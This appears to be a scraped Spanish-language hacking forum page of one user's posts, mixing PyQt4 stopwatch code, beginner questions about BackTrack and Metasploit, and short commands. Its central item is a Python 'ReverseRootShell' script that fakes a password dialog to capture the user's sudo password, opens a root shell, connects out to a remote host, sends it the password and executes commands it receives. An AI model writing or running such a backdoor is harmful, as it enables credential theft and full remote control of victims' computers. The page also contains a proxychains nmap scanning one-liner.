Excelente CrazyKade! Felicidades por el trabajo!
Q bueno ver q de a poco vaya creciendo la sección de tools del foro.
Saludos!
WhiZ
Q bueno ver q de a poco vaya creciendo la sección de tools del foro.
Saludos!
WhiZ

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
).
.

#!/usr/bin/python
#-- coding: utf-8 --
import sys
from PyQt4 import QtGui, QtCore
class Example(QtGui.QWidget):
def __init__(self):
super(Example, self).__init__()
self.initUI()
def initUI(self):
self.lcd = QtGui.QLCDNumber(self)
self.lcd.setGeometry(30, 40, 200, 25)
self.lcd.display('0:0:0')
self.btnIniciar = QtGui.QPushButton('Start', self)
self.btnIniciar.move(28, 80)
self.btnIniciar.clicked.connect(self.doAction)
self.btnReiniciar = QtGui.QPushButton('Restart', self)
self.btnReiniciar.move(145, 80)
self.btnReiniciar.clicked.connect(self.restart)
self.timer = QtCore.QBasicTimer()
self.c = 0 # centésima
self.s = 0 # segundo
self.h = 0 # minuto
self.m = 0 # hora
self.setGeometry(550, 350, 260, 150)
self.setWindowTitle('QtGui.QLCDNumber')
self.show()
def timerEvent(self, e):
if self.c >= 100:
self.c = 0
if self.s < 60:
self.s += 1
self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
else:
self.s = 0
if self.m < 60:
self.m += 1
self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
else:
self.m = 0
self.h += 1
self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
else:
self.c += 1
def doAction(self):
if self.timer.isActive():
self.timer.stop()
self.btnIniciar.setText('Start')
else:
self.timer.start(10, self)
self.btnIniciar.setText('Stop')
def restart(self):
self.c = 0
self.s = 0
self.m = 0
self.h = 0
self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
def main():
app = QtGui.QApplication(sys.argv)
ex = Example()
sys.exit(app.exec_())
if __name__ == '__main__':
main()
.#!/usr/bin/python
#-- coding: utf-8 --
import sys
from PyQt4 import QtGui, QtCore
class Example(QtGui.QWidget):
def __init__(self):
super(Example, self).__init__()
self.initUI()
def initUI(self):
self.lcd = QtGui.QLCDNumber(self)
self.lcd.setGeometry(30, 40, 200, 25)
self.btn = QtGui.QPushButton('Start', self)
self.btn.move(40, 80)
self.btn.clicked.connect(self.doAction)
self.timer = QtCore.QBasicTimer()
self.step = 0
self.s = 0
self.h = 0
self.m = 0
self.setGeometry(300, 300, 280, 170)
self.setWindowTitle('QtGui.QLCDNumber')
self.show()
def timerEvent(self, e):
if self.step >= 100:
self.step = 0
if self.s < 60:
self.s += 1
self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
else:
self.s = 0
if self.m < 60:
self.m += 1
self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
else:
self.m = 0
self.h += 1
self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
else:
self.step += 1
def doAction(self):
if self.timer.isActive():
self.timer.stop()
self.btn.setText('Start')
else:
self.timer.start(10, self)
self.btn.setText('Stop')
def main():
app = QtGui.QApplication(sys.argv)
ex = Example()
sys.exit(app.exec_())
if __name__ == '__main__':
main()
proxychains nmap ip
class Coche:
def arranca(self):
coche = "on" # Tener en cuenta que ésta es una variable local (no se si esa es la intención).
def para(self):
coche = "off" # Lo mismo para ésta otra variable
miCoche = Coche()
miCoche.arranca() # Llamamos al método "arranca"
miCoche.para() # Llamamos al método "para"
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Autor: WhiZ
from pexpect import spawn, run
import socket
class ReverseRootShell(object):
def __init__(self):
# Obtenemos la contraseña del root
self.passwd = self.obtienePasswd()
# Nos conectamos al cliente
self.servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.servidor.connect(('192.168.0.131', 2236))
# Obtenemos la shell como root
self.obtieneRootShell()
# Escuchamos al cliente
self.escuchaCliente()
self.servidor.close()
def obtienePasswd(self):
zenity = '''zenity --password --title="Autenticación"'''
passwd = run(zenity).replace('\n', '')
return passwd
def obtieneRootShell(self):
# Ejecutamos la shell como root
self.child = spawn('sudo /bin/bash')
# Enviamos la contraseña ingresada anteriormente
# por el usuario
self.child.sendline(self.passwd)
# Enviamos el output al host remoto
salida = self.child.next() + self.passwd + '\n'
self.servidor.send(salida)
def escuchaCliente(self):
while True:
recibido = self.servidor.recv(1024)
if recibido == 'Desconectar':
break
else:
self.ejecutaComando(recibido)
def ejecutaComando(self, comando):
# Ejecutamos el comando (siempre como root)
self.child.sendline(comando)
# Enviamos el output al host remoto
while True:
try:
salida = self.child.read_nonblocking(timeout=5)
self.servidor.send(salida)
# NOTA: Como es un poco complicado manejar el output
# con pexpect, lo que hice fue frenar el bucle tras
# 5 segundos de inactividad.
# Esto significa que si utilizamos comandos 'lentos'
# por ej., escaneamos la red con nmap, deberemos
# presionar la tecla 'enter' cada tanto para ir
# cargando los datos que vayan apareciendo
except:
break
rrs = ReverseRootShell()
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
gracias por compartir
solo que no entiendo
Para usar el backtrack toca instalarlo?
porque lo tengo en el dvd y hay la mitad de las herramientas que todo el mundo menciona
y la verdad no se abre ningun programa solo se abre
la consola
:S
CitarThe Metasploit Framework includes hundreds of auxiliary modules that perform scanning, fuzzing, sniffing, and much more. Although these modules will not give you a shell, they are extremely valuable when conducting a penetration test.
python -m SimpleHTTPServer [puerto]